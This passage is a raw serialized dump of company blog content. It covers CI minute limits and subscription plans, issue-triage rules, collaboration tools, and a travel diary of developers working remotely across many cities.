CI on GitLab.com today. 2000 minutes means you can run a pipeline of 10 minutes\nfive times a day, every working day.\n\nWith free [GitLab CI](/solutions/continuous-integration/) on GitLab.com you'll get unlimited number of pipelines, with\nunlimited parallelism on unlimited groups with unlimited number of\ncollaborators. We only count minutes per group and you can run anything\nyou want, including full Docker support.\n\nWe’ve chosen to restrict minutes as this will still allow you to have parallel pipelines and therefore fast CI runs.\n\nNote that this will only restrict your minutes for our shared runners. If you\nhave a specific runner set up for your projects, there is no limit to your pipeline minutes\non GitLab.com.\n\nYou still have and will always have the option to bring your own Runner.\nRunners are very easy to set up, require little to no maintenance and run on almost any platform.\n\n[Read how to set up your own Runner in the documentation](https://docs.gitlab.com/runner/)\n\n## New paid features\n\nEvery month, without fail, we ship improvements to GitLab. As always, everyone will be able to access GitLab Community Edition features for free. New GitLab Enterprise Edition Starter (EES) features will be made available to all of the paid plans, whilst new EEP features will only be made available to the Silver and Gold plans.\n\n## New levels of support\n\nIn addition to the private CI build minutes and Enterprise Edition feature access, you now have broader options for support. The Bronze and Silver plans will offer next business day support, similar to our previous Bronze Support.\n\nFor those requiring more speedy help, our Gold plan offers a 4-hour response time on any ticket submitted to our support team.\n\n## Timeline\n\nThe plans are available to purchase now and the CI limits will be activated on May 1st, at which\npoint you will be able to visualise your usage by clicking on the settings cog on your group home page\nand selecting `Pipelines Quota`.\n\n## FAQ\n\n**How are public projects on GitLab.com affected by the CI usage cap?**\n\nPublic projects that are hosted on GitLab.com ans are part of the GitLab Open Source Program [receive access to Gold tier features](/solutions/open-source/) and CI usage benefits.\n\n**Does the number of minutes apply per project?**\n\nThe number of minutes applies to a group or an individual. This means the sum of\nall minutes in all projects for a group or for all an individual's projects.\n\nThe quota is reset every month.\n\n**Does the number of users impact the limit?**\n\nThe limit is per group, regardless of how many users are in the group.\n\n**What about storage limits?**\n\nToday, each project is limited to 10G of repository storage, but this has not been\nactively enforced for some time. We will continue to allow 10G of storage, but will\nsoon start enforcing this limit, including across  [job artifacts](https://docs.gitlab.com/ee/user/gitlab_com/#gitlab-ci) and other storage\nmechanisms that are currently unmetered.\n\nSince GitLab 8.9 we've [introduced](https://docs.gitlab.com/ee/ci/yaml/#artifacts-expire_in)\nthe ability to set a expiry time on artifacts, then in 9.0 we\n[added the ability to set a default expiry time](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9219)\nand this value is currently set to two weeks on\nGitLab.com. You can also manually delete or keep any artifact.\n\n**Can I use my own runners instead?**\n\nAbsolutely, you can run specific runners for any of your projects. Take a look at\n[the documentation](https://docs.gitlab.com/runner/) for more information on\nhow to do this. We only count minutes on the shared runners we provide on GitLab.com.\n\n\nUPDATED 2019-03-08 - The original version of this FAQ mentioned that public projects would receive unlimited CI minutes and Ultimate benefits. That policy has changed\nto public projects that are members of the GitLab Open Source Program now receive [Gold Tier features and CI usage caps](/solutions/open-source/).\n\nUPDATED 2020-03-18 - We changed what [CI minutes free users get](/blog/ci-minutes-for-free-users/).\n",{"slug":36007,"featured":6,"template":678},"introducing-subscriptions-on-gitlab-dot-com","content:en-us:blog:introducing-subscriptions-on-gitlab-dot-com.yml","Introducing Subscriptions On Gitlab Dot Com","en-us/blog/introducing-subscriptions-on-gitlab-dot-com.yml","en-us/blog/introducing-subscriptions-on-gitlab-dot-com",{"_path":36013,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36014,"content":36020,"config":36024,"_id":36026,"_type":16,"title":36027,"_source":17,"_file":36028,"_stem":36029,"_extension":20},"/en-us/blog/our-secret-to-tackling-thousands-of-open-issues",{"title":36015,"description":36016,"ogTitle":36015,"ogDescription":36016,"noIndex":6,"ogImage":36017,"ogUrl":36018,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36018,"schema":36019},"3 Rules for tackling thousands of open issues","Keep your DevOps teams focused and productive with these three simple rules.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684021/Blog/Hero%20Images/how-our-engineers-tackle-thousands-of-open-issues.jpg","https://about.gitlab.com/blog/our-secret-to-tackling-thousands-of-open-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Rules for tackling thousands of open issues\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2017-04-10\",\n      }",{"title":36015,"description":36016,"authors":36021,"heroImage":36017,"date":36022,"body":36023,"category":6634},[31897],"2017-04-10","\n\n Every engineering team likely has a process for triaging issues and allocating them to different team members. Otherwise, it can be difficult to mobilize to put out small fires without losing sight of bigger goals for building new things over the course of your release cycle.\n\n\u003C!-- more -->\n\nAt GitLab, the pile of work to be done is perhaps even more visible than most. Right now, on the GitLab Community Edition [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce) alone, there are 6,826 open issues, a number that could be numbing at best, and overwhelming at worst if viewed without a strong system for prioritization. Although I'm now the Frontend Lead, I started at GitLab as an engineer, and quickly became more productive than in any other previous job. I attribute this largely to the simple process that every new technical hire learns when they join, including a clear roadmap to follow when they start work every day. The key difference for me is that people at GitLab spend most of their time writing code, rather than talking about and planning it.\n\nThe secret hinges largely on our [issue board and labels](/stages-devops-lifecycle/issueboard/), with which we meticulously track progress and conversation. This also helps us meet other goals that are necessary for successful asynchronous work — we always opt for fewer meetings, and more communication through the issue tracker. All of these methods were passed down (and remixed) by our CTO, [Dmitriy Zaporozhets](/company/team/#dzaporozhets).\n\nIt boils down to three rules that help engineers sort issues and know exactly what to work on next, largely without consulting anyone:\n\n### 1. Regressions have the highest priority.\nWhy do we fix regressions before anything else? A regression is some functionality that used to work but no longer does, so we want to make sure that all the stuff we've built continues to serve our users. We believe we need to have a commitment to the code that's already in the codebase before continuing to write new things. When a regression is fixed, it goes into the next stable release. By marking a merge request as `pick into stable`, we signal release managers to collect it the next time they come around looking for fixes to include. It works like garbage collection — we place it all by the side of the road, and the truck comes to pick it all up.  \n\n### 2. Deliverables are always second.\nDeliverables are the things that we are promising to deliver in the next release, and ideally, they are the highest priority (as long as nothing else that used to work is broken). A deliverable takes precedence over other work because we want to have a way to show our customers what will be coming out in the next release. These are planned based on bandwidth and time, after Product talks with leads and we figure out how we are going to make it happen.\n\nWhen a developer gets to a new release, the only work that I actively assign involves the deliverables. Unless someone has an emergency, I don't assign any other work to any one developer; they are free to decide what they want to work on outside of their key deliverables. These are important to assign specifically, because each team member has their strengths, and with limited time before deadlines we have to delegate issues properly. If a deliverable doesn't make it into the current release, it is automatically pushed to the following release — we won't drop it until it is finished.  \n\n### 3. With free time, grab bugs unless told otherwise.\nThere are always bugs to fix. We always aim to fix bugs quickly to create the most stable software, which is why not every Frontend Developer gets a deliverable. We also want to move fast and break things, so we want some developers available to work only on bugs. Often I tell new hires on the Frontend team to work on bugs and regressions for the first few months, unless there is an emergency. That helps them wrap their head around the codebase, and get comfortable.\n\nIn addition to making expectations very clear to developers, these rules also simplify my role as a manager. I can filter issues according to whether they're labeled \"regression,\" \"deliverable,\" or \"bug\" to quickly see where progress is being made. All communication happens in the issues, so the right people can jump in and speak to the question. There's no reason to have me be a mediator, instead, Frontend can talk to UX directly, and so on for the other teams.\n\nIdeally, managers try to remove all formal meetings about projects and instead rely on flowing, open, recorded communication. This is the best system we've developed for managing remote engineers: they all know what to do, they’re very self-sufficient, and because of our development cycle it’s really easy to see whether we're on pace to meet our goals. By having issues [in the open](https://gitlab.com/gitlab-org/gitlab-ce/issues), everyone can stay focused on solving the problem.\n\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Watch our webcast &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>Managing the DevOps Culture Shift\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;on demand. \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://www.youtube.com/watch?v=py8c6-3zyKM&feature=youtu.be\">Register here\u003C/a>!\u003C/p>\n\n",{"slug":36025,"featured":6,"template":678},"our-secret-to-tackling-thousands-of-open-issues","content:en-us:blog:our-secret-to-tackling-thousands-of-open-issues.yml","Our Secret To Tackling Thousands Of Open Issues","en-us/blog/our-secret-to-tackling-thousands-of-open-issues.yml","en-us/blog/our-secret-to-tackling-thousands-of-open-issues",{"_path":36031,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36032,"content":36038,"config":36042,"_id":36044,"_type":16,"title":36045,"_source":17,"_file":36046,"_stem":36047,"_extension":20},"/en-us/blog/why-collaboration-tools-matter",{"title":36033,"description":36034,"ogTitle":36033,"ogDescription":36034,"noIndex":6,"ogImage":36035,"ogUrl":36036,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36036,"schema":36037},"Why collaboration tools matter more than ever","Nearly two-thirds of developers say that chat and collaboration tools are integral to their everyday work. Here’s why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671447/Blog/Hero%20Images/collaboration-tools-matter.jpg","https://about.gitlab.com/blog/why-collaboration-tools-matter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why collaboration tools matter more than ever\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-04-04\",\n      }",{"title":36033,"description":36034,"authors":36039,"heroImage":36035,"date":36040,"body":36041,"category":8943},[19026],"2017-04-04","\n\nTools that foster collaboration and information sharing throughout the software development process are becoming ever more important as enterprises move towards a DevOps culture. With a majority of developers considering chat and collaboration tools to be essential to their jobs, teams that rely on meetings in person may get left behind.\n\n\u003C!-- more -->\n\nOur [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) explores how developers’ methods are changing, and how businesses can adapt to get the best out of their development teams. More than half of our respondents identified as developer or engineer, giving us insight into what matters to developers, how they work and what tools they choose. To see what our research revealed, you can [download the full report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about what today’s developers want.\n\n## Why collaboration matters\n\nMore and more enterprises are adopting DevOps to streamline their software development lifecycle. DevOps practices emphasise integration and collaboration between teams and sharing responsibility for the outcome, which means working together and keeping each other in the loop throughout the entire software development lifecycle. This change in approach necessitates a change in communication style as well.\n\nBy updating each other early and often, you can collect feedback regularly and integrate suggestions throughout the process. Including your non-technical team members in the conversation means they can get to work on promoting your next release or gathering feedback from customers, supporting your software development teams.\n\n![How important collaboration tools are](https://about.gitlab.com/images/blogimages/collaboration-tools-matter-graph.png){: .shadow}\u003Cbr>\n\n## Why collaboration tools are important\n\nAs the build/ship/learn cycle speeds up, the team will naturally be working together throughout more of the cycle because they can and need to stay involved… and this benefits everyone. Enterprise teams need tools that can mirror their new cross-functional way of working, acknowledging that while the new enterprise team is distributed, they are more collaborative than ever before.\n\nTo keep everyone in the loop, especially with distributed, asynchronous teams, tools and features that enable closer collaboration within and across teams are essential. With 66 percent of developers preferring to be contacted via email or IM instead of in person, chat and other integrated collaboration tools help to keep the lines of communication open and ensure everyone has a clear view of where a project is at. The outcome is a more streamlined software development process, and a faster time to market with a better product.\n\nDownload our [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about which tools are favored by developers today.\n{: .alert .alert-gitlab-orange}\n\nImage: “[Message board](https://www.flickr.com/photos/mujitra/10511181393/)” by [MIKI Yoshihito](https://www.flickr.com/photos/mujitra/) is licensed under [CC BY  2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":36043,"featured":6,"template":678},"why-collaboration-tools-matter","content:en-us:blog:why-collaboration-tools-matter.yml","Why Collaboration Tools Matter","en-us/blog/why-collaboration-tools-matter.yml","en-us/blog/why-collaboration-tools-matter",{"_path":36049,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36050,"content":36055,"config":36059,"_id":36061,"_type":16,"title":36062,"_source":17,"_file":36063,"_stem":36064,"_extension":20},"/en-us/blog/gitlab-in-action-part-2",{"title":36051,"description":36052,"ogTitle":36051,"ogDescription":36052,"noIndex":6,"ogImage":12644,"ogUrl":36053,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36053,"schema":36054},"GitLab in action: Part 2","The conclusion to our six-month trip around the world!","https://about.gitlab.com/blog/gitlab-in-action-part-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab in action: Part 2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robert Speicher\"}],\n        \"datePublished\": \"2017-03-31\",\n      }",{"title":36051,"description":36052,"authors":36056,"heroImage":12644,"date":36057,"body":36058,"category":299},[20193],"2017-03-31","\n\n_Between June and December of 2016, two GitLab developers traveled around the\nworld visiting team members and working remotely. Be sure to read [Around the\nWorld in 6 Releases](/blog/around-the-world-in-6-releases/) for more\nbackground on the trip._\n\n\u003C!-- more -->\n\nFor the first part of our trip we were lucky enough to have [Emily] join us for\nthree of the six cities in the US, and because she knew we were too ~~lazy~~\nbusy working, she [wrote a blog post for us](/blog/gitlab-in-action/)\ndetailing those stops.\n\nUnfortunately we couldn't convince her to join us for any other legs of the trip\n(and we _desperately_ needed her planning and organizational skills, if not her\npenchant for listening to Dolly Parton's entire discography), so we lost our\nfavorite unofficial biographer, but I'll do my best to fill in.\n\n## Mexico City, Mexico (2016-08-07)\n\nAfter joining us in Vegas, [John] went back to Nashville to grab his passport so\nhe could rejoin us in Mexico City.\n\nOriginally we planned to spend two weeks there, and then two weeks in Rio de\nJaneiro, but when our Brazilian locals said they could only come for the second\nweek, combined with all of the (overblown) stories about the dangers of Rio\nduring the Olympics at the time, and the fact that we were enjoying Mexico City\nso much, we decided to stay for a third week.\n\nStaying in one place for an extended period of time was a nice change of pace\nafter we'd gotten used to being in an airport every Sunday to fly to a new city,\nand we took the extra time to see more of the city and to meet more locals\noutside of GitLab. We really started to feel like we were _living_ here rather\nthan visiting.\n\n{: .text-center}\n[![Working on the rooftop garden of John's hotel in Hipódromo][mex-rooftop]{: .shadow}][mex-rooftop]\u003Cbr>\n_Working on the rooftop garden of John's hotel in Hipódromo_\n\nAs people would hear about our trip, common questions we got were \"Which city\nhas been your favorite so far?\" and \"Which city has had the best food?\", and\npeople were usually surprised when, without hesitation, we'd say \"Mexico City!\"\nIt's probably not surprising to hear that the city has fantastic Mexican food\n(and it does -- we ate tacos al pastor at [El Faraón][tacos] seven times in 10\ndays), but we had the best steak of our lives at [MIT], the best mac & cheese\nof the trip at [Balmori Roofbar][mac], and were introduced to the amazing\ndeliciousness of the Mexican [carajillo].\n\nWe spent one Saturday climbing the Pyramids of the Sun and Moon at\n[Teotihuacan](https://en.wikipedia.org/wiki/Teotihuacan), and another lazily\nfloating down the canals of\n[Xochimilco](https://en.wikipedia.org/wiki/Xochimilco).\n\n{: .text-center}\n[![The Pyramid of the Moon, from the top of the Pyramid of the Sun][mex-pyramid]{: .shadow}][mex-pyramid]\u003Cbr>\n_The Pyramid of the Moon, from the top of the Pyramid of the Sun_\n\n[tacos]: https://goo.gl/maps/d7Us14TE4i52\n[MIT]: https://goo.gl/maps/toZrvDEttrS2\n[mac]: https://goo.gl/maps/PetKNY5VkZk\n[carajillo]: https://en.wikipedia.org/wiki/Carajillo\n\n## Rio de Janeiro, Brazil (2016-08-29)\n\nWhile we don't have any team members living in Rio, we were joined there by\n[Douglas] from Lavras, and [Felipe] from Goiânia, who shared an apartment with\nus for the week, situated directly between the Ipanema and Copacabana beaches.\nSince we were all in the same (air-conditioned) spot with stable internet, we\npreferred setting up our office at the dining table every day.\n\n{: .text-center}\n[![Our temporary office in Rio][gig-office]{: .shadow}][gig-office]\n\n[Marcia] joined us later in the week to work and enjoy the Rio nightlife. I\ndiscovered the deliciousness that is [Amarula] and _may_ have invented a drink\n(Amarula and espresso, shaken, garnish with fresh ground cinnamon; try it, it's\namazing).\n\nWe paid a visit to (a very foggy) [Cristo Redentor], and spent our last day in\nRio relaxing on Copacabana beach, and enjoying a nice dinner at a Brazilian\nsteakhouse by the water.\n\n{: .text-center}\n[![Cristo Redentor through the fog][gig-redeemer]{: .shadow width=\"425px\"}][gig-redeemer]\n[![Our Rio crew][gig-group]{: .shadow width=\"425px\"}][gig-group]\u003Cbr>\n_Right: [Felipe], [Marcia], [Douwe], [Robert], and [Douglas]_\n\n[Cristo Redentor]: https://en.wikipedia.org/wiki/Christ_the_Redeemer_(statue)\n[Amarula]: https://en.wikipedia.org/wiki/Amarula\n\n## Sofia, Bulgaria (2016-09-19)\n\nAfter two weeks in our respective homes to see our families and adjust our\npacking strategies, we flew out to Sofia to begin the second half of our\nsix-month trip around the world.\n\nWe don't have any team members in Sofia, but it was the chosen location for the\n[EuRuKo 2016](http://euruko2016.org/) conference. [Zeger-Jan] joined us for the\nentire week leading up to the conference, where we were later joined by [Adam],\n[Axil], and [Dmitriy]. It was the first conference I'd ever been to, and being\napproached by random people recognizing our GitLab shirts and wanting to talk\nabout the company was a new phenomenon for me that never got old.\n\n{: .text-center}\n[![Our EuRuKo crew][sof-group]{: .shadow}][sof-group]\u003Cbr>\n_[Dmitriy], [Zeger-Jan], [Douwe], [Robert], [Adam], and [Axil] at EuRuKo's\nafter-party_\n\nWe're looking forward to EuRuKo 2017 in Budapest!\n\n## Warsaw, Poland (2016-09-25)\n\nWe got an apartment in the beautiful [Old Town](https://goo.gl/maps/HJctmiXFprt)\nneighborhood, and for the first two days we worked from a cafe next door with a\nnice view of the [Mały Powstaniec](https://en.wikipedia.org/wiki/Ma%C5%82y_Powstaniec)\nmemorial.\n\n{: .text-center}\n[![Mały Powstaniec memorial][waw-statue]{: .shadow width=\"600px\"}][waw-statue]\n\nWarsaw local [Kamil] joined us for dinner and drinks on multiple nights, while\n[Tomasz] and [Grzegorz] took trains from Olsztyn to meet up with us on separate\ndays. Grzegorz even stayed with us for one night and got to experience the\nworst sleeping accommodation we had for the entire trip. Sorry about that,\nbuddy!\n\nWe spent one afternoon working from Google's [Campus Warsaw](https://www.campus.co/warsaw/en)\nand, perhaps unsurprisingly, it had the [best connection of the\ntrip][waw-wifi].\n\n## Nice, France (2016-10-02)\n\nWhile the original trip itinerary had us staying in Warsaw for two weeks and\nthen going to Madrid, not booking everything in advance allowed us to make\nchanges on the fly, and we cut a week off of Warsaw in order to make a detour to\nFrance to rendezvous with [Rémy]. We loved walking around Nice, and having a\nlocal willing to play chauffeur for a bit allowed us to see Antibes and Cannes\nas well. It turns out the French Riviera is stunningly beautiful -- who knew?!\n\n{: .text-center}\n[![Sunset in Antibes][nce-sunset]{: .shadow width=\"600px\"}][nce-sunset]\n\nOn our last day we were dismayed to find out that some of the restaurants along\nthe Côte d'Azur have WiFi and that we could have been working from the beach all\nweek. Oh well, lessons for next time!\n\n{: .text-center}\n[![We didn't work here, but we could have!][nce-beach]{: .shadow width=\"600px\"}][nce-beach]\n\nIt was in Nice that we decided it would be fun to have souvenirs from this trip,\nso we started buying a refrigerator magnet at each stop. We're still in the\nprocess of getting magnets from the cities we visited before Nice, but thanks to\nour syndicate of team members all over the world, we're en route to having the\nwhole set.\n\n## Madrid, Spain (2016-10-09)\n\nWe planned our stop in Madrid to coincide with [Conferencia\nRails](http://conferenciaror.es/), where we got to see [Adam] again, this time\nas a guest speaker.\n\nWe met up with local [Chris P.] and had the honor of being the first team\nmembers he'd met in person. [Pablo] drove down from Zamora one afternoon to show\nus Segovia, and its stunning aqueduct:\n\n{: .text-center}\n[![Aqueduct of Segovia][mad-aqueduct]{: .shadow width=\"600px\"}][mad-aqueduct]\n\nMadrid is an amazing city that felt alive even at four in the morning, and the\nfood was a definite highlight -- it took the honors for [best burritos], [best\ntacos]\u003Cabbr title=\"Douwe disputes this and thinks the tacos in Mexico City were\nbetter. But he's wrong.\">*\u003C/abbr>, and [best sandwiches].\n\n[best burritos]: https://goo.gl/maps/TvYWBwVK51s\n[best tacos]: https://goo.gl/maps/16YdXiReipD2\n[best sandwiches]: https://goo.gl/maps/KqtTiujHbAr\n\n## Braga, Portugal (2016-10-23)\n\nAt previous locations, we would usually move around to a different place to work\neach day, but on our first day in Braga we found a restaurant with plenty of\nopen tables, good food, reliable WiFi, and a beautiful view, so we set up a\ntemporary office there for the week.\n\n{: .text-center}\n[![Our office view for the week][bgz-view]{: .shadow}][bgz-view]\n[![Our temporary office][bgz-office]{: .shadow}][bgz-office]\n\nWe were joined by [Filipa], [Kamil], [James L.], [Pablo], [Pedro], and [Tiago]\nfor [Rubyconf Portugal](http://rubyconf.pt/), which had a great lineup of\nspeakers, and a lively karaoke party at the end of the first day.\n\nWe had a great time at the conference feeling like _very_ nerdy rock stars as we\nwere constantly being approached by people recognizing our GitLab swag and\nwanting to talk about the company, open source, and working remotely. Being able\nto tell people about our trip as we were on it and while we had so many\nwonderful colleagues around us was a great testament to the effectiveness and\nappeal of a remote-only company like ours.\n\n{: .text-center}\n[![Our Rubyconf Portugal crew][bgz-group]{: .shadow}][bgz-group]\n_[James L.], [Robert], [Douwe], [Pablo], and [Kamil] at Rubyconf Portugal_\n\nFinally, after hearing about this dish all week, we went to [Taberna\nBelga](https://goo.gl/maps/R1tmPnNiZnp) to try\n[francesinha](https://en.wikipedia.org/wiki/Francesinha), which is a sandwich\nwith multiple kinds of meat, smothered in melted cheese, and served with a\nmountain of french fries, and it's delicious. With a description like that, I\ncan't believe the US hasn't adopted it yet.\n\n## Lisbon, Portugal (2016-10-30)\n\nFrom Braga we took a short train ride south to Lisbon to see [Job] for the\nsingle day he was home between the Amsterdam and New York stops of the [GitLab\nWorld Tour](/blog/world-tour-amplify-your-code/).\n\nDoing the daily [team call] from Job's apartment produced one of my favorite\nmoments of the entire trip, when he silently popped in behind me as I was doing\nmy weekly update. Seriously, I cannot overstate how happy this GIF makes me:\n\n{: .text-center}\n[![Surprise Job][lis-surprise-job]{: .shadow width=\"500px\"}][lis-surprise-job]\n\n[Pedro] was nice enough to play tour guide for us the rest of the week, including\ntaking us to [Pastéis de Belém](https://goo.gl/maps/p4GXMVGt7S82) to satisfy our\nnewfound [pastel de nata](https://en.wikipedia.org/wiki/Pastel_de_nata)\nobsession.\n\n{: .text-center}\n[![Pedro showing us the sights][lis-group]{: .shadow width=\"600px\"}][lis-group]\u003Cbr>\n_[Robert], [Pedro], and [Douwe]_\n\n[team call]: /handbook/communication/#team-call\n\n## Edinburgh, Scotland (2016-11-06)\n\nFrom the lovely climate of Lisbon, where I was comfortable walking around in\nshorts and a T-shirt, we arrived in Edinburgh to temperatures around 7 ℃\n(44 ℉). This was the only stop in our entire trip that was going to be cold, and\nwe weren't prepared for it: the warmest piece of clothing I had with me was the\nGitLab hoodie. Layering would prove to be key!\n\nWe bundled up each morning for the walk to [Sean M.]'s coworking space,\nstopping for coffee along the way, mostly just to have something to keep our\nhands warm. We were joined in Edinburgh by [James E.J.] and [Sean P.] from\nLondon, and [Nick] from York. We had maybe just a bit too much fun having\nthe six of us on our daily team calls, trying to get as many people into the\nbackground of each of our camera shots as we could.\n\n{: .text-center}\n[![Our Edinburgh crew][edi-group]{: .shadow width=\"425px\"}][edi-group]\n[![Our Edinburgh round table][edi-round-table]{: .shadow width=\"425px\"}][edi-round-table]\u003Cbr>\n_Left (clockwise from left): [Douwe], [Sean M.], [James E.J.], [Sean P.],\n[Nick], and [Robert]_\n\nThe bitter cold finally got the best of me towards the end of the week, and I\nended up with a sinus infection for the second time of the whole trip, spending\nthat Friday resting at home and working as I felt up to it (thanks, remote\nwork!). As I was recuperating, Douwe, helpful as ever, sent me a picture of a\ngigantic hamburger-for-four that he, Nick, James, and Sean M were going to eat.\n\n{: .text-center}\n[![Giant Hamburger photo][edi-burger]{: .shadow width=\"500px\"}][edi-burger]\n\nI've been assured they finished it, but have no photographic evidence. Saturday\nmorning, still miserably sick, I let myself get talked into climbing [Arthur's\nSeat](https://en.wikipedia.org/wiki/Arthur%27s_Seat), the city's main mountain.\nDespite Wikipedia describing it as \"relatively easy to climb,\" doing so with a\nsinus infection in the wind and near-freezing temperatures wasn't one of my most\nenjoyable moments of the trip. But the view from the top was worth it:\n\n{: .text-center}\n[![View from the top of Arthur's Seat][edi-arthurs-seat]{: .shadow}][edi-arthurs-seat]\n\n## Tel Aviv, Israel (2016-11-13)\n\nBack to shorts weather! We arrived in Tel Aviv just in time for [Rails\nIsrael](https://railsisrael2016.events.co.il/home). [Yorick] arrived the\nnight before, gave a talk, then jetted off back to the Netherlands the next\nmorning. As with the other conferences we'd been to, it's always heartening to\nsee the enthusiasm people outside the company have for GitLab. Yorick was\nsurrounded after his talk by people asking questions and looking for shirts and\nstickers.\n\nFor the rest of the week we met up with our local [Eliran], mostly working\nfrom [The Streets](https://goo.gl/maps/JUtcXQGmZZK2), which has reliable WiFi,\ngreat food, and is open 24 hours a day -- basically everything we want in a\nworkspace.\n\n## Taipei, Taiwan (2016-11-20)\n\nOur flight to Taipei left us a little jetlagged, so we landed, made it to our\napartment, went to grab lunch around the corner, then slept for about 15\nhours. Our gambit worked, and we woke up early the next morning, fully\nadjusted to the time change and ready to work.\n\nWe met up with our local [Jen-Shin] and spent the week working from the offices\nof [Cardinal Blue](http://cardinalblue.com/). The employees there were fantastic\nhosts, and graciously included us in a delicious Thanksgiving lunch, and in\ntheir \"demo day\" at the end of the week, giving us a chance to talk about GitLab\nand our trip.\n\nWe got to meet some local developers at a dinner, and one of them was nice\nenough to spend his Saturday as our tour guide, taking us to an amazing hiking\ntrail along three waterfalls, and to the [Houtong Cat\nVillage](https://en.wikipedia.org/wiki/Houtong_Cat_Village).\n\n{: .text-center}\n[![Waterfall group photo][tpe-waterfall]{: .shadow}][tpe-waterfall]\u003Cbr>\n_[Robert], [Douwe], [Jen-Shin], and his girlfriend Wen_\n\n## Bali, Indonesia (2016-11-27)\n\nBali was the second location that wasn't part of our original itinerary.\nOriginally we were going to visit [Chris W.] in Melbourne, Australia, but he had\nstarted his own trip while we were on ours, so we crossed paths here.\n\nMaybe not surprisingly, the internet infrastructure isn't great, so working from\nrandom coffeeshops wasn't really an option. Luckily Chris had been there for a\nfew weeks by the time we arrived and had joined a coworking space called\n[Outpost](https://goo.gl/maps/CBRFsKGvitk) that offered day passes (side note:\nnot enough coworking spaces offer day passes. Get it together, people!)\n\nWorking in Bali, from Outpost, was an amazing experience. The place is filled\nwith other remote workers from all over the world. The building is two floors,\nwith the air conditioned lower level enforcing a strict library-like level of\nquiet, while the upper level is open-air and a bit noisier. There were nearby\ncafés where we'd order food (including fresh coconut water served right out\nof the coconut) and it would be delivered to our desks while we worked.\n\nWe did make some time to visit a black sand beach where we destroyed our feet on\nthe coral bed while trying to body surf, then retreated to the pool to relax. We\nalso visited the famous \"monkey village\" which, true to its name, is _filled_\nwith monkeys.\n\n{: .text-center}\n[![Chris meets the locals][dpe-chris]{: .shadow width=\"425px\"}][dpe-chris]\n[![Yep, lots of monkeys][dpe-monkeys]{: .shadow width=\"425px\"}][dpe-monkeys]\n\n## Sydney, Australia (2016-12-05)\n\nAs we started the final week of our trip, it really began to dawn on us that\nthis amazing adventure was almost over. But we still had another week until we'd\nbe on vacation in New Zealand, so it was right back to work.\n\nRight away we found a coffee shop near our apartment called [The\nQ](https://goo.gl/maps/gp2nKD2eYaq) with good food, coffee, and WiFi. I think\nour drive to find a new place to work every day had fully worn out by this\npoint, and we ended up working there all week.\n\nWhen our local [Julie] finally met us there at the end of the week and asked\nwhat we'd seen of Sydney so far, and what we'd been up to every day, I think she\nwas at least a little disappointed in us when we made a feeble \"you're lookin'\nat it\" pantomime.\n\nThat was a common experience throughout the trip. We'd rattle off the list of\ncities we'd been to and were going to, and people would ask what we'd done and\nseen, and we'd have to explain that most of each week was just working, exactly\nas we would at home. We still had to _pay_ for the trip, after all.\n\nWhen you've worked at GitLab for a while, it's easy to take for granted what an\namazing perk this whole \"remote work\" thing is, and how much of a foreign\nconcept it still is to most people. I can't fault anyone for hearing that we\nwere traveling around the world for six months, working when and where we wanted\nto with no oversight, and thinking it was a vacation, but it wasn't. We worked\n10-14 hours Monday through Thursday so that we wouldn't feel guilty taking\nFriday off to do \"touristy\" things. On Saturday we'd try to see more of the\ncity, or catch up on sleep, or just relax after a long week, and on Sunday we'd\nbe at yet another airport to move on to the next city.\n\nThe tourism and traveling were never the main goals of the trip. The true value\nfor us was meeting these people we usually only talk to over video or text,\nseeing where they call home, meeting their friends and families, and spending\ntime with them outside of work, and in that sense, the trip was a resounding\nsuccess.\n\n{: .text-center}\n[![See? We did a little sightseeing!][syd-bridge]{: .shadow}][syd-bridge]\u003Cbr>\n\n## What's next?\n\nWhile our trip is over, other team members have grabbed the baton and are taking\nfull advantage of being able to work from anywhere in the world. [Chris W.] has\nalready been in Indonesia, Taiwan, Hawaii, Guatemala, Mexico City, Dallas, and\nthe Cook Islands, while [Mitchell] has been traveling all over the US, living\nand working in different cities for a month at a time.\n\nIf working while traveling all over the world appeals to you, or if you have no\ninterest in leaving your home, but just like the idea of being able to work when\nand where you want, [check out our open positions](/jobs/)!\n\nThis post is one in a series about this particular trip. Check out\n[part 1](/blog/gitlab-in-action/) and the\n[summary](/blog/around-the-world-in-6-releases/)!\n\n[bgz-group]:        /images/blogimages/gitlab-in-action-part-2/bgz-group.jpg\n[bgz-office]:       /images/blogimages/gitlab-in-action-part-2/bgz-office.jpg\n[bgz-view]:         /images/blogimages/gitlab-in-action-part-2/bgz-view.jpg\n[dpe-chris]:        /images/blogimages/gitlab-in-action-part-2/dpe-chris.jpg\n[dpe-monkeys]:      